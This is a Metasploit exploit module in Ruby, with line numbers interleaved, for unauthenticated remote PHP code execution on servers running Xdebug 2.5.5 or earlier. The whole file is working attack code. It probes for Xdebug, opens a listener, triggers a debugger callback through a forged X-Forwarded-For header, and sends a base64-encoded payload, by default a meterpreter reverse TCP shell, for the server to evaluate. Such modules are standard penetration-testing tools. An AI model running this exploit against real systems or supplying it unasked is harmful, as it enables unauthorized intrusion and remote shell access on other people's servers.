1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::HttpClient
11
  include Rex::Proto::Http
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'xdebug Unauthenticated OS Command Execution',
18
        'Description' => %q{
19
          Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
20
          This allows the attacker to execute arbitrary php code as the context of the web user.
21
        },
22
        'DisclosureDate' => '2017-09-17',
23
        'Author' => [
24
          'Ricter Zheng', # Discovery https://twitter.com/RicterZ
25
          'Shaksham Jaiswal', # MinatoTW
26
          'Mumbai' # Austin Hudson
27
        ],
28
        'References' => [
29
          ['CVE', '2015-10141'],
30
          ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
31
          ['URL', 'http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/']
32
        ],
33
        'License' => MSF_LICENSE,
34
        'Platform' => 'php',
35
        'Arch' => [ARCH_PHP],
36
        'DefaultTarget' => 0,
37
        'Stance' => Msf::Exploit::Stance::Aggressive,
38
        'DefaultOptions' => {
39
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
40
        },
41
        'Payload' => {
42
          'DisableNops' => true,
43
        },
44
        'Targets' => [[ 'Automatic', {} ]],
45
        'Notes' => {
46
          'Reliability' => UNKNOWN_RELIABILITY,
47
          'Stability' => UNKNOWN_STABILITY,
48
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
        }
50
      )
51
    )
52

53
    register_options([
54
      OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
55
      OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
56
      OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
57
      Opt::RPORT(80),
58
    ])
59
  end
60

61
  def check
62
    begin
63
      res = send_request_cgi({
64
        'uri' => datastore["PATH"],
65
        'method' => 'GET',
66
        'vars_get' => {
67
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
68
        }
69
      })
70
      vprint_status "Request sent\n#{res}"
71
      if res && res.headers.to_s =~ /XDEBUG/i
72
        vprint_good("Looks like remote server has xdebug enabled\n")
73
        return CheckCode::Detected
74
      else
75
        return CheckCode::Safe
76
      end
77
    rescue Rex::ConnectionError
78
      return CheckCode::Unknown
79
    end
80
  end
81

82
  def exploit
83
    payl = Rex::Text.encode_base64("#{payload.encoded}")
84
    cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("eval(base64_decode(\"#{payl}\"));") + "\x00"
85
    webserver = Thread.new do
86
      begin
87
        server = Rex::Socket::TcpServer.create(
88
          'LocalPort' => datastore['SRVPORT'],
89
          'LocalHost' => datastore['SRVHOST'],
90
          'Context' => {
91
            'Msf' => framework,
92
            'MsfExploit' => self
93
          }
94
        )
95

96
        client = server.accept
97
        print_status("Waiting for client response.")
98
        data = client.recv(1024)
99
        print_status("Receiving response")
100
        vprint_line(data)
101
        print_status("Shell might take upto a minute to respond.Please be patient.")
102
        print_status("Sending payload of size #{cmd1.length} bytes")
103
        client.write(cmd1)
104
        client.close
105
        server.close
106
        webserver.exit
107
      ensure
108
        webserver.exit
109
      end
110
    end
111
    send_request_cgi({
112
      'uri' => datastore['PATH'],
113
      'method' => 'GET',
114
      'headers' => {
115
        'X-Forwarded-For' => "#{lhost}",
116
        'Cookie' => 'XDEBUG_SESSION=' + rand_text_alphanumeric(10)
117
      }
118
    })
119
  end
120
end
121

122